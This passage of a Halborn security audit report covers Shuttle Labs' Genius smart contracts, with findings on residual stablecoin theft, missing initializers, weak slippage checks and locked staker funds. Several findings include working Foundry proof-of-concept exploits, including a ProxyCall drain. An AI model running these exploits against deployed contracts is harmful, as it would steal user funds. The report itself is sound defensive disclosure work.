// Smart Contract Security Assessment 11.20.2024 - 12.02.2024

Genius Contracts Re-Assessment

Shuttle Labs

HALBORN

Genius Contracts Re-Assessment - Shuttle Labs

Prepared by: HALBORN

Last Updated 12/09/2024

Date of Engagement: November 20th, 2024 - December 2nd, 2024

Summary

100% OF ALL REPORTED FINDINGS HAVE BEEN ADDRESSED

ALL FINDINGS	CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
10	0	0	4	3	3

TABLE OF CONTENTS

1. Introduction

`Genius` engaged `Halborn` to conduct a security assessment on their smart contracts revisions started on November 20th, 2024 and ending on December 2nd, 2024. The security assessment was scoped to the smart contracts provided to the `Halborn` team.

Commit hashes and further details can be found in the Scope section of this report.

2. Assessment Summary

The team at Halborn was provided 1week and 4 days for the engagement and assigned a security engineer to evaluate the security of the smart contract.

The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this assessment is to:

- Ensure that smart contract functions operate as intended.
- Identify potential security issues with the smart contracts.

In summary, Halborn identified some improvements to reduce the likelihood and impact of risks, which were mostly addressed by the `Genius team` :

- `Add stablecoins missing balance check on ProxyCall contract.`
- `Add initialization calls of OpenZeppelin contracts.`
- `Add slippage checks.`
- `Review rebalancing ratio to allow stakers to unstake when they want.`

3. Test Approach And Methodology

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy regarding the scope of this assessment. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance code coverage and quickly identify items that do not follow the security best practices. The following phases and associated tools were used during the assessment:

- Research into architecture and purpose.
- Smart contract manual code review and walkthrough.
- Graphing out functionality and contract logic/connectivity/functions. (`solgraph,draw.io`)
- Manual assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic related vulnerability classes.
- Manual testing by custom scripts.
- Static Analysis of security for scoped contract, and imported functions. (`Slither`)
- Testnet deployment. (`Hardhat` , `Foundry`)

4. RISK METHODOLOGY

Every vulnerability and issue observed by Halborn is ranked based on **two sets** of **Metrics** and a **Severity Coefficient**. This system is inspired by the industry standard Common Vulnerability Scoring System.

The two **Metric sets** are: **Exploitability** and **Impact**. **Exploitability** captures the ease and technical means by which vulnerabilities can be exploited and **Impact** describes the consequences of a successful exploit.

The **Severity Coefficients** is designed to further refine the accuracy of the ranking with two factors: **Reversibility** and **Scope**. These capture the impact of the vulnerability on the environment as well as the number of users and smart contracts affected.

The final score is a value between 0-10 rounded up to 1 decimal place and 10 corresponding to the highest security risk. This provides an objective and accurate rating of the severity of security vulnerabilities in smart contracts.

The system is designed to assist in identifying and prioritizing vulnerabilities based on their level of risk to address the most critical issues in a timely manner.

4.1 EXPLOITABILITY

ATTACK ORIGIN (AO):

Captures whether the attack requires compromising a specific account.

ATTACK COST (AC):

Captures the cost of exploiting the vulnerability incurred by the attacker relative to sending a single transaction on the relevant blockchain. Includes but is not limited to financial and computational cost.

ATTACK COMPLEXITY (AX):

Describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Includes but is not limited to macro situation, available third-party liquidity and regulatory challenges.

METRICS:

EXPLOITABILITY METRIC (M_E)	METRIC VALUE	NUMERICAL VALUE
Attack Origin (AO)	Arbitrary (AO:A) Specific (AO:S)	1 0.2
Attack Cost (AC)	Low (AC:L) Medium (AC:M) High (AC:H)	1 0.67 0.33

EXPLOITABILITY METRIC (M_E)	METRIC VALUE	NUMERICAL VALUE
Attack Complexity (AX)	Low (AX:L) Medium (AX:M) High (AX:H)	1 0.67 0.33

Exploitability E is calculated using the following formula:

$$E = \prod m_e$$

4.2 IMPACT

CONFIDENTIALITY (C):

Measures the impact to the confidentiality of the information resources managed by the contract due to a successfully exploited vulnerability. Confidentiality refers to limiting access to authorized users only.

INTEGRITY (I):

Measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of data stored and/or processed on-chain. Integrity impact directly affecting Deposit or Yield records is excluded.

AVAILABILITY (A):

Measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. This metric refers to smart contract features and functionality, not state. Availability impact directly affecting Deposit or Yield is excluded.

DEPOSIT (D):

Measures the impact to the deposits made to the contract by either users or owners.

YIELD (Y):

Measures the impact to the yield generated by the contract for either users or owners.

METRICS:

IMPACT METRIC (M_I)	METRIC VALUE	NUMERICAL VALUE
Confidentiality (C)	None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C)	0 0.25 0.5 0.75 1

IMPACT METRIC (M_I)	METRIC VALUE	NUMERICAL VALUE
Integrity (I)	None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C)	0 0.25 0.5 0.75 1
Availability (A)	None (A:N) Low (A:L) Medium (A:M) High (A:H) Critical (A:C)	0 0.25 0.5 0.75 1
Deposit (D)	None (D:N) Low (D:L) Medium (D:M) High (D:H) Critical (D:C)	0 0.25 0.5 0.75 1
Yield (Y)	None (Y:N) Low (Y:L) Medium (Y:M) High (Y:H) Critical (Y:C)	0 0.25 0.5 0.75 1

Impact I is calculated using the following formula:

$$I = max(m_I) + \frac{\sum m_I - max(m_I)}{4}$$

4.3 SEVERITY COEFFICIENT

REVERSIBILITY (R):

Describes the share of the exploited vulnerability effects that can be reversed. For upgradeable contracts, assume the contract private key is available.

SCOPE (S):

Captures whether a vulnerability in one vulnerable contract impacts resources in other contracts.

METRICS:

SEVERITY COEFFICIENT (C)	COEFFICIENT VALUE	NUMERICAL VALUE
Reversibility (r)	None (R:N) Partial (R:P) Full (R:F)	1 0.5 0.25
Scope (s)	Changed (S:C) Unchanged (S:U)	1.25 1

Severity Coefficient C is obtained by the following product:

$$C = rs$$

The Vulnerability Severity Score S is obtained by:

$$S = min(10, EIC * 10)$$

The score is rounded up to 1 decimal places.

SEVERITY	SCORE VALUE RANGE
Critical	9 - 10
High	7 - 8.9
Medium	4.5 - 6.9
Low	2 - 4.4
Informational	0 - 1.9

5. SCOPE

FILES AND REPOSITORY

(a) Repository: genius-contracts

(b) Assessed Commit ID: bd7beb3

(c) Items in scope:

- IGeniusProxyCall.sol
- IGeniusActions.sol
- IGeniusMultiTokenVault.sol
- IGeniusVault.sol
- IGeniusRouter.sol
- AggregatorV3Interface.sol
- IGeniusGasTank.sol
- IStargateRouter.sol
- libs/MultiSendCallOnly.sol
- libs/GeniusErrors.sol
- call-proxies/AaveV3Proxy.sol
- GeniusVaultCore.sol
- GeniusVault.sol
- GeniusActions.sol
- GeniusRouter.sol
- GeniusProxyCall.sol
- GeniusGasTank.sol
- GeniusMultiTokenVault.sol

Out-of-Scope: Third party dependencies and economic attacks.

REMEDIATION COMMIT ID:

- 781beb2
- 4164974
- 0a282ff
- edd6052
- 6aa3e85
- ea3591f
- 0742038

Out-of-Scope: New features/implementations after the remediation commit IDs.

6. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW
0	0	4	3

INFORMATIONAL
3

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
RESIDUAL STABLECOIN THEFT IN PROXYCALL CONTRACT DUE TO MISSING BALANCE CHECK	MEDIUM	SOLVED - 12/05/2024
MISSING INITIALIZER CALLS IN GENIUSVAULTCORE'S INITIALIZATION FUNCTION	MEDIUM	SOLVED - 12/05/2024
INSUFFICIENT SLIPPAGE PROTECTION IN SWAPTOSTABLES() FUNCTION	MEDIUM	SOLVED - 12/05/2024
LOCKED USER FUNDS DUE TO INCORRECT REBALANCING THRESHOLD IMPLEMENTATION	MEDIUM	RISK ACCEPTED - 12/09/2024
LACK OF FEE TOKEN/AMOUNT VALIDATION ENABLES NON-STANDARD FEE COLLECTION	LOW	RISK ACCEPTED - 12/09/2024
IMPROPER NATIVE TOKEN ADDRESS HANDLING FOR CROSS-CHAIN COMPATIBILITY	LOW	SOLVED - 12/05/2024
NONCE INCREMENT AFTER EXTERNAL INTERACTIONS VIOLATES CEI PATTERN	LOW	SOLVED - 12/05/2024

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
CENTRALIZATION RISKS IN PROTOCOL'S ACCESS CONTROL DESIGN	INFORMATIONAL	ACKNOWLEDGED - 12/09/2024
UNUSED CODE ELEMENTS CREATE UNNECESSARY GAS SPENT	INFORMATIONAL	SOLVED - 12/05/2024
STATIC PRICE FEED DECIMALS CONFIGURATION LIMITS ORACLE INTEGRATION FLEXIBILITY	INFORMATIONAL	SOLVED - 12/05/2024

7. FINDINGS & TECH DETAILS

7.1 RESIDUAL STABLECOIN THEFT IN PROXYCALL CONTRACT DUE TO MISSING BALANCE CHECK

// MEDIUM

Description

When executing a `fillOrder` through GeniusVaultCore, `STABLECOIN` tokens are transferred to `ProxyCall` before executing a swap using `call` function :

```
// GeniusVaultCore.sol
STABLECOIN.safeTransfer(address(PROXYCALL), order.amountIn - order.fee);
(effectiveTokenOut, effectiveAmountOut, success) = PROXYCALL.call(
    receiver,
    swapTarget,
    callTarget,
    address(STABLECOIN),
    address(tokenOut),
    order.minAmountOut,
    swapData,
    callData
);
```

However, in `ProxyCall.call()` (and in `approveTokenExecuteAndVerify()`), only the `tokenOut` balance is checked and returned to the receiver at the end of the function, not the `tokenIn` (stablecoin) balance

```
// ProxyCall.sol
uint256 balance = IERC20(tokenOut).balanceOf(address(this));
if (balance > 0) {
    IERC20(tokenOut).safeTransfer(receiver, balance);
}
// Missing check for STABLECOIN balance
```

When a DEX like Uniswap only needs a portion of the input tokens to provide the requested output, the unused stablecoin (`tokenOut`) tokens remain in **ProxyCall**. These tokens are vulnerable to theft since any determined malicious user can call `ProxyCall.execute()` to transfer them out via **GeniusGasTank.sol**, **GeniusRouter.sol** or a **GeniusVault** with this data, for example :

```
// Attack
bytes memory drainData = abi.encodeWithSelector(
    STABLECOIN.transfer.selector,
    attacker,
    STABLECOIN.balanceOf(address(PROXYCALL))
);
PROXYCALL.execute(address(STABLECOIN), drainData);
```

Any residual `STABLECOIN` tokens in **ProxyCall** after a swap are permanently lost or stolen, leading to direct financial losses for users.

Proof of Concept

```
//E forge test --match-test "testResidualStablecoinInProxyCall2" -vv
    function testResidualStablecoinInProxyCall2() public {
        deal(address(USDC), address(VAULT), 1_000 ether);
```

```
        // Create mock DEX that will only use part of the tokens
        MockDEXRouter dex = new MockDEXRouter();
        deal(address(USDC), address(dex), 1_000 ether);
        deal(address(WETH), address(dex), 1_000 ether);

        order = IGeniusVault.Order({
            seed: keccak256("order"),
            amountIn: 1_000 ether,
            trader: VAULT.addressToBytes32(TRADER),
            receiver: RECEIVER,
            srcChainId: 42,
            destChainId: uint16(block.chainid),
            tokenIn: VAULT.addressToBytes32(address(USDC)),
            fee: 1 ether,
            minAmountOut: 100 ether,
            tokenOut: VAULT.addressToBytes32(address(WETH))
        });

        // Swap data that only uses 100 USDC => MOCK A swapExactTokensForTokens usage
        bytes memory swapData = abi.encodeWithSelector(
            dex.swap2.selector,
            address(USDC),
            address(WETH),
            999 ether,
            RECEIVER
        );

        vm.startPrank(address(ORCHESTRATOR));
        VAULT.fillOrder(order, address(dex), swapData, address(0), "");

        // Show how attacker can drain
        vm.stopPrank();
        console2.log(" ----- Attacker can drain residual USDC in ProxyCall ----- ");
        console2.log("[Before] USDC balance of ProxyCall = %s",USDC.balanceOf(address(PROXYCALL)));
        console2.log("[Before] Alice balance             = %s",USDC.balanceOf(ALICE));
        bytes memory drainData = abi.encodeWithSelector(
            USDC.transfer.selector,
            ALICE,
            USDC.balanceOf(address(PROXYCALL))
        );
        PROXYCALL.execute(address(USDC), drainData);
        console2.log("[After] USDC balance of ProxyCall = %s",USDC.balanceOf(address(PROXYCALL)));
        console2.log("[After] Alice balance             = %s",USDC.balanceOf(ALICE));
        console2.log(" ----- Attacker drained residual USDC in ProxyCall ----- ");
    }
```

Modified **DexRouter**'s `swap` function :

```
function swap2(
        address tokenIn,
        address tokenOut,
        uint256 amountIn,
        address receiver
    ) external payable returns (uint256) {
        // Only use a small portion of the input tokens
        uint256 actualUsed = amountIn / 3; // Only use 20% of input
        // Transfer the small portion back, leaving residual in the contract
        IERC20(tokenIn).safeTransferFrom(msg.sender, address(this), amountIn/2);
        IERC20(tokenOut).safeTransfer(receiver, actualUsed);
        return actualUsed;
    }
```

Result :

```
→  genius-contracts git:(main) ✗ forge test --match-test "testResidualStablecoinInProxyCall2" -vv
[⠊] Compiling...
No files changed, compilation skipped

Ran 1 test for test/GeniusVault.t.sol:GeniusVaultTest
[PASS] testResidualStablecoinInProxyCall2() (gas: 1370738)
Logs:
  Here we are : approveTokenExecuteAndVerify 0
  [before]tokenOut balance    = 0
  [before]tokenIn    balance  = 99900000000000000000
  [before]balancePreSwap      = 0
  [after]tokenOut balance     = 0
  [after]tokenIn    balance   = 49950000000000000000
  [after]balancePostSwap      = 33300000000000000000
   ----- Attacker can drain residual USDC in ProxyCall -----
  [Before] USDC balance of ProxyCall = 49950000000000000000
  [Before] Alice balance             = 0
  [After] USDC balance of ProxyCall = 0
  [After] Alice balance             = 49950000000000000000
   ----- Attacker drained residual USDC in ProxyCall -----

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 13.21s (4.39s CPU time)

Ran 1 test suite in 13.22s (13.21s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
→  genius-contracts git:(main) ✗
```

BVSS

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:M/R:N/S:C (6.3)

Recommendation

It is recommended to add `STABLECOIN` balance check and transfer them if needed in **ProxyCall**'s `call()` and `approveTokenExecuteAndVerify()` functions:

```
uint256 balance = IERC20(tokenOut).balanceOf(address(this));
if (balance > 0) {
    IERC20(tokenOut).safeTransfer(receiver, balance);
}
uint256 stablecoinBalance = IERC20(stablecoin).balanceOf(address(this));
if (stablecoinBalance > 0) {
    IERC20(stablecoin).safeTransfer(receiver, stablecoinBalance);
}
```

Remediation

SOLVED: The **Shuttle Labs team** added a check for `stablecoinBalance` and transfer remaining assets to receiver in case there is a surplus.

Remediation Hash

https://github.com/Shuttle-Labs/genius-contracts/commit/781beb28851e52da1dea93d725189159a8e1b784

References

Shuttle-Labs/genius-contracts/src/GeniusVaultCore.sol#L231

Shuttle-Labs/genius-contracts/src/GeniusProxyCall.sol#L128

7.2 MISSING INITIALIZER CALLS IN GENIUSVAULTCORE'S INITIALIZATION FUNCTION

// MEDIUM

Description

The **GeniusVaultCore** contract inherits from `ReentrancyGuardUpgradeable` and `UUPSUpgradeable` but fails to call their respective initializer functions during initialization. This omission breaks the initialization chain required for proper contract behavior.

In `GeniusVaultCore.sol`:

```
94  function _initialize(
95      address _stablecoin,
96      address _admin,
97      address _multicall,
98      uint256 _rebalanceThreshold,
99      address _priceFeed
00  ) internal onlyInitializing {
01      if (_stablecoin == address(0)) revert GeniusErrors.NonAddress0();
02      if (_admin == address(0)) revert GeniusErrors.NonAddress0();
03
04      __ERC20_init("Genius USD", "gUSD");
05      __AccessControl_init();
06      __Pausable_init();
07
08      // Missing critical initializer calls:// __ReentrancyGuard_init();// __UUPSUpgradeable_init();
09
10  }
```

The `__ReentrancyGuard_init()` should initialize the **ReentrancyGuard** storage:

```
57      function __ReentrancyGuard_init() internal onlyInitializing {
58          __ReentrancyGuard_init_unchained();
59      }
60
61      function __ReentrancyGuard_init_unchained() internal onlyInitializing {
62          ReentrancyGuardStorage storage $ = _getReentrancyGuardStorage();
63          $._status = NOT_ENTERED;
64      }
```

1. The **ReentrancyGuard's** internal status variable remains uninitialized, breaking the reentrancy protection mechanism. This directly impacts all functions using the `nonReentrant` modifier in the contract because the `uninitialized` **ReentrancyGuard** means the status variable remains at its default value (0), rather than being set to `NOT_ENTERED` (1). This effectively breaks all reentrancy protection in the contract. An attacker can perform reentrancy attacks on any function marked with the `nonReentrant` modifier since the guard's state checks will fail silently.
2. The inheritance chain initialization is incomplete, leading to a broken contract state.

Proof of Concept

This test can be added to `GeniusVault.t.sol`:

```
    //E forge test --match-test testSetup -vv
    function testSetup() public {
        console2.log("Reentrancy Status after setup = %s",VAULT.MockedReentrancyGuardView());
        console2.log("\t---> should be equal to 1");
```

```
        assertEq(VAULT.MockedReentrancyGuardView(),1,"Reentrancy guard should be 1");
    }
```

And this function to `ReentrancyGuardUpgradeable.sol` :

```
    function MockedReentrancyGuardView() public view returns (uint256) {
        ReentrancyGuardStorage storage $ = _getReentrancyGuardStorage();
        return $._status;
    }
```

Here is the result :

```
Ran 1 test for test/GeniusVault.t.sol:GeniusVaultTest
[FAIL. Reason: Reentrancy guard should be 1: 0 != 1] testSetup() (gas: 23049)
Logs:
  Reentrancy Status after setup = 0
        ---> should be equal to 1

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 10.42s (328.62ms CPU time)

Ran 1 test suite in 10.43s (10.42s CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/GeniusVault.t.sol:GeniusVaultTest
[FAIL. Reason: Reentrancy guard should be 1: 0 != 1] testSetup() (gas: 23049)

Encountered a total of 1 failing tests, 0 tests succeeded
```

BVSS

AO:A/AC:L/AX:L/C:N/I:M/A:N/D:N/Y:N/R:N/S:C (6.3)

Recommendation

It is recommended to add the missing initializer calls in the `_initialize` function:

```
function _initialize(
    address _stablecoin,
    address _admin,
    address _multicall,
    uint256 _rebalanceThreshold,
    address _priceFeed
) internal onlyInitializing {
    if (_stablecoin == address(0)) revert GeniusErrors.NonAddress0();
    if (_admin == address(0)) revert GeniusErrors.NonAddress0();

    __ERC20_init("Genius USD", "gUSD");
    __AccessControl_init();
    __Pausable_init();
    __ReentrancyGuard_init();// Add this line
    __UUPSUpgradeable_init();// Add this line
```

Remediation

SOLVED: Initializers are now triggered within the contracts.

Remediation Hash

https://github.com/Shuttle-Labs/genius-contracts/commit/4164974d8e49b2307f9d4b31cad694d30200631c

References

Shuttle-Labs/genius-contracts/src/GeniusVaultCore.sol#L26

7.3 INSUFFICIENT SLIPPAGE PROTECTION IN SWAPTOSTABLES() FUNCTION

// MEDIUM

Description

The `swapToStables()` function in GeniusMultiTokenVault.sol implements a weak slippage control mechanism that accepts any positive increase in balance after a swap, regardless of how minimal the increase is:

```
35 function swapToStables(
36     address token,
37     uint256 amount,
38     address target,
39     bytes calldata data
40 ) external override onlyOrchestrator whenNotPaused {
```

```
57 uint256 preSwapBalance = stablecoinBalance();
58
59 if (token == NATIVE) {
60     PROXYCALL.execute{value: amount}(target, data);
61 } else {
62     IERC20(token).safeTransfer(address(PROXYCALL), amount);
63     PROXYCALL.approveTokenExecute(token, target, data);
64 }
65
66 uint256 postSwapBalance = stablecoinBalance();
67
68 if (postSwapBalance <= preSwapBalance) revert GeniusErrors.TransferFailed(token, amount);
```

The issue lies in the comparison that only checks if `postSwapBalance <= preSwapBalance`. This permits swaps that return as little as 1 wei more than the initial balance to pass the validation.

MEV searchers can extract value from the protocol by:

1. Front-running swapToStables() transactions
2. Executing sandwich attacks on the swap
3. Returning the minimal amount required (preSwapBalance + 1) to pass the check

It also open doors for Orchestrator roles to drain the vault from any token `token` in exchange of 1 wei of stablecoin. The economic loss is bounded by the value of tokens being swapped minus 1 wei of stablecoin.

BVSS

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:M/Y:L/R:N/S:U (5.6)

Recommendation

It is recommened to implement a proper slippage protection by adding a `minAmountOut` parameter and enforcing it:

```
function swapToStables(
    address token,
    uint256 amount,
    uint256 minAmountOut,
    address target,
    bytes calldata data
) external override onlyOrchestrator whenNotPaused {
    // ... existing checks ...

    uint256 preSwapBalance = stablecoinBalance();

    // ... execute swap ...

    uint256 postSwapBalance = stablecoinBalance();
    uint256 amountReceived = postSwapBalance - preSwapBalance;

    if (amountReceived < minAmountOut) {
        revert GeniusErrors.InvalidAmountOut(amountReceived, minAmountOut);
    }
}
```

Remediation

SOLVED : A `minAmountOut` has been added to `swapToStables()` function.

Remediation Hash

https://github.com/Shuttle-Labs/genius-contracts/commit/0a282ffc1cdb95c9633787555184fe04a4c7ef15

References

Shuttle-Labs/genius-contracts/src/GeniusMultiTokenVault.sol#L135

7.4 LOCKED USER FUNDS DUE TO INCORRECT REBALANCING THRESHOLD IMPLEMENTATION

// MEDIUM

Description

The liquidity calculation logic within GeniusVaultCore's rebalancing mechanism can lead to user withdrawals being permanently blocked when maximum rebalancing occurs.

The issue stems from how `minLiquidity()` is calculated in relation to `availableAssets()`. When rebalancing takes place, it can consume all available liquidity without accounting for user withdrawal rights.

Relevant code:

```
// In GeniusVaultCore.sol
function availableAssets() public view returns (uint256) {
    uint256 _totalAssets = stablecoinBalance();
    uint256 _neededLiquidity = minLiquidity();
    return _availableAssets(_totalAssets, _neededLiquidity);
}

function _availableAssets(
    uint256 _totalAssets,
    uint256 _neededLiquidity
) internal pure returns (uint256) {
    if (_totalAssets < _neededLiquidity) {
        return 0;
    }
    return _totalAssets - _neededLiquidity;
}
```

```
// In GeniusVault.sol (but same in GeniusMultiTokenVault.sol
function minLiquidity() public view override returns (uint256) {
    uint256 _totalStaked = totalStakedAssets;
    uint256 reduction = (_totalStaked * rebalanceThreshold) / 10_000;
    uint256 minBalance = _totalStaked - reduction;
    return minBalance + claimableFees();
}
```

When `rebalanceThreshold` is set to 7500 (75%), and `rebalanceLiquidity()` is called with the maximum available amount, there is not enough funds for users to withdraw their stakes.

The same is true for `fillOrder()` function, meaning that an order can be filled with staked amounts from stakers.

Proof of Concept

This test can be added to `GeniusVault.t.sol`:

The issue is reproducible through the following sequence:
1. Users stake tokens (e.g., 200 USDC total)
2. Orchestrator rebalances 150 USDC (75% of total)
3. Remaining 50 USDC matches minimum required balance

4. All withdrawal attempts fail with `InvalidAmount` error

```
//E forge test --match-test "testStakeAndRebalance" -vv
    function testStakeAndRebalance() public {
        // Initial stakes from two users
        vm.startPrank(ALICE);
        deal(address(USDC), ALICE, 100 ether);
        USDC.approve(address(VAULT), 100 ether);
        VAULT.stakeDeposit(100 ether, ALICE);
        vm.stopPrank();

        vm.startPrank(BOB);
        deal(address(USDC), BOB, 100 ether);
        USDC.approve(address(VAULT), 100 ether);
        VAULT.stakeDeposit(100 ether, BOB);
        vm.stopPrank();

        // Verify initial state
        assertEq(VAULT.stablecoinBalance(), 200 ether, "Total vault balance should be 200 ether");
        assertEq(VAULT.totalStakedAssets(), 200 ether, "Total staked assets should be 200 ether");
        // Due to the 75% rebalanceThreshold (7_500 basis points), available assets should be 150 eth
        assertEq(VAULT.availableAssets(), 150 ether, "Available assets should be 150 ether");

        console2.log(" ----- Staking part done ----- ");

        // Setup rebalancing
        address bridgeAddress = makeAddr("bridge");
        uint256 amountToRebalance = 150 ether;
        bytes memory bridgeData = abi.encodeWithSelector(
            USDC.transfer.selector,
            bridgeAddress,
            amountToRebalance
        );

        // Execute rebalancing at the maximum amount possible
        vm.startPrank(ORCHESTRATOR);
        VAULT.rebalanceLiquidity(
            amountToRebalance,
            destChainId,
            address(USDC),
            bridgeData
        );
        vm.stopPrank();

        // Verify final state
        assertEq(VAULT.stablecoinBalance(), 50 ether, "Vault should have 100 ether remaining");
        assertEq(USDC.balanceOf(bridgeAddress), 150 ether, "Bridge should have received 100 ether");
        assertEq(VAULT.totalStakedAssets(), 200 ether, "Total staked assets should remain 200 ether")
        // Available assets = current balance - min required (200 * 0.25)
        assertEq(VAULT.availableAssets(), 0 ether, "Available assets should be 50 ether");


        console2.log(" ----- Rebalancing part done ----- ");
        console2.log("USDC amount available in the vault = %s",USDC.balanceOf(address(VAULT)));
        console2.log("Amount staked by Alice and Bob     = %s",VAULT.totalStakedAssets());

        console2.log("\n ----- Alice and Bob try to withdraw ");

        vm.startPrank(ALICE);
        VAULT.approve(address(VAULT), 100 ether);
        VAULT.stakeWithdraw(100 ether, address(ALICE), address(ALICE));
        vm.stopPrank();

        console2.log(" Alice could withdraw 100 ether");
        vm.startPrank(BOB);
        VAULT.approve(address(VAULT), 100 ether);
        VAULT.stakeWithdraw(100 ether, address(BOB), address(BOB));
        vm.stopPrank();
        console2.log(" Bob could withdraw 100 ether");
    }
```

This reverts because there is not enough funds in the contract:

```
→  genius-contracts git:(main) ✗ forge test --match-test "testStakeAndRebalance" -vv
[⠒] Compiling...
[⠒] Compiling 3 files with Solc 0.8.26
[⠒] Solc 0.8.26 finished in 22.24s
Compiler run successful!

Ran 1 test for test/GeniusVault.t.sol:GeniusVaultTest
[FAIL. Reason: InvalidAmount()] testStakeAndRebalance() (gas: 943001)
Logs:
   ----- Staking part done -----
   ----- Rebalancing part done -----
  USDC amount available in the vault = 5000000000000000000
  Amount staked by Alice and Bob     = 20000000000000000000

 ----- Alice and Bob try to withdraw

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 12.15s (3.31s CPU time)

Ran 1 test suite in 12.16s (12.15s CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/GeniusVault.t.sol:GeniusVaultTest
[FAIL. Reason: InvalidAmount()] testStakeAndRebalance() (gas: 943001)

Encountered a total of 1 failing tests, 0 tests succeeded
→  genius-contracts git:(main) ✗
```

BVSS

AO:S/AC:L/AX:L/C:C/I:C/A:C/D:C/Y:C/R:N/S:C (5.0)

Recommendation

It is recommended to have a `rebalanceThreshold` which allows staker to still withdraw their stakes when they want.

Remediation

RISK ACCEPTED: Rebalancing action will handle this risk off-chain but no on chain requirement will be implemented.

References

Shuttle-Labs/genius-contracts/src/GeniusVault.sol#L133

7.5 LACK OF FEE TOKEN/AMOUNT VALIDATION ENABLES NON-STANDARD FEE COLLECTION

// LOW

Description

In **GeniusGasTank.sol**, the sponsored transaction functions accept arbitrary fee tokens and amounts without proper validation mechanisms:

```
64  function sponsorOrderedTransactions(
65      address target,
66      bytes calldata data,
67      IAllowanceTransfer.PermitBatch calldata permitBatch,
68      bytes calldata permitSignature,
69      address owner,
70      address feeToken, //E @audit arbitrary
71      uint256 feeAmount, //E @audit arbitrary
72      uint256 deadline,
73      bytes calldata signature
74  ) external payable override whenNotPaused {
75      // ... //
76      IERC20(feeToken).safeTransfer(feeRecipient, feeAmount);
77      // ... //
78  }
```

```
24
25  function sponsorUnorderedTransactions(
26      address target,
27      bytes calldata data,
28      IAllowanceTransfer.PermitBatch calldata permitBatch,
29      bytes calldata permitSignature,
30      address owner,
31      address feeToken, //E @audit arbitrary
32      uint256 feeAmount, //E @audit arbitrary
33      uint256 deadline,
34      bytes32 seed,
35      bytes calldata signature
36  ) external payable override whenNotPaused {
37      // ... //
38      IERC20(feeToken).safeTransfer(feeRecipient, feeAmount);
39      // ... //
40  }
41
```

In the Genius protocol, sponsored transactions allow users to define some parameters in order to "motivate" a sponsor to create a transaction for them.

However, since sponsors may not be the `feeRecipient` receiving fees for the sponsored transaction, the "incentivization" of higher fees = higher chance of having transactions sponsored is null, rendering the motivation for users who want to be sponsored to increase the fees of the transaction then increasing the chance that a sponsored transaction include 0 fee.

The lack of validation on fee tokens and amounts results in:

1. Non-standardized fee collection across the protocol
2. Acceptance of any ERC20 token as valid payment
3. Absence of minimum/maximum fee boundaries
4. Inconsistent economic incentives for transaction processing

BVSS

AO:A/AC:L/AX:L/C:N/I:L/A:N/D:N/Y:N/R:N/S:C (3.1)

Recommendation

It is recommended to implement strict fee validation by:
1. Adding a whitelist for accepted fee tokens.
2. Enforcing minimum and maximum fee amounts per token.

Remediation

RISK ACCEPTED: The **Shuttle Labs team** accept the risk, as the transaction needs to be attractive (with good fees) to be validated and sponsored.

References

Shuttle-Labs/genius-contracts/src/GeniusGasTank.sol#L64
Shuttle-Labs/genius-contracts/src/GeniusGasTank.sol#L124

7.6 IMPROPER NATIVE TOKEN ADDRESS HANDLING FOR CROSS-CHAIN COMPATIBILITY

// LOW

Description

In **GeniusMultiTokenVault.sol**, the contract hardcodes the native token address as `address(0)`, which creates incompatibility issues with certain L2 networks like zkSync where ETH has a specific contract address.

```
21 contract GeniusMultiTokenVault is IGeniusMultiTokenVault, GeniusVaultCore {
22     using SafeERC20 for IERC20;
23
24     // .... //
25
26     address public immutable NATIVE = address(0);
```

This assumption breaks on networks like zkSync where ETH resides at `0x000000000000000000000000000000000000800A`. The contract uses this `NATIVE` constant to identify the native token in several functions, including token balance checks and swap operations:

```
123 function tokenBalance(address token) public view returns (uint256) {
124     if (token == NATIVE) {
125         return address(this).balance;
126     } else {
127         return IERC20(token).balanceOf(address(this));
128     }
129 }
```

Impact:

1. Native token operations fail on L2 networks where ETH has a non-zero address
2. Token balance checks return incorrect values for ETH

BVSS

AO:A/AC:L/AX:L/C:N/I:N/A:L/D:N/Y:N/R:N/S:U (2.5)

Recommendation

It is recommended to replace the hardcoded `NATIVE` address with a constructor parameter or implement a chain-specific configuration.

Remediation

SOLVED: `NATIVE` is now an argument of the `initialize()` function.

Remediation Hash

https://github.com/Shuttle-Labs/genius-contracts/commit/edd6052618964422f0319884193185c15956fc2b

References

Shuttle-Labs/genius-contracts/src/GeniusMultiTokenVault.sol#L28
Shuttle-Labs/genius-contracts/src/GeniusMultiTokenVault.sol#L223

7.7 NONCE INCREMENT AFTER EXTERNAL INTERACTIONS VIOLATES CEI PATTERN

// LOW

Description

The **GeniusGasTank** contract's `sponsorOrderedTransactions` function increments the user's nonce only at the end of the function during event emission, after performing external contract interactions. This implementation violates the `Checks-Effects-Interactions` pattern:

```
function sponsorOrderedTransactions(
    address target,
    bytes calldata data,
    IAllowanceTransfer.PermitBatch calldata permitBatch,
    bytes calldata permitSignature,
    address owner,
    address feeToken,
    uint256 feeAmount,
    uint256 deadline,
    bytes calldata signature
) external payable override whenNotPaused {
    if (deadline < block.timestamp) revert GeniusErrors.DeadlinePassed(deadline);

    bytes32 messageHash = keccak256(abi.encode(target,data,permitBatch,nonces[owner],feeToken,feeA

    _verifySignature(messageHash, signature, owner);
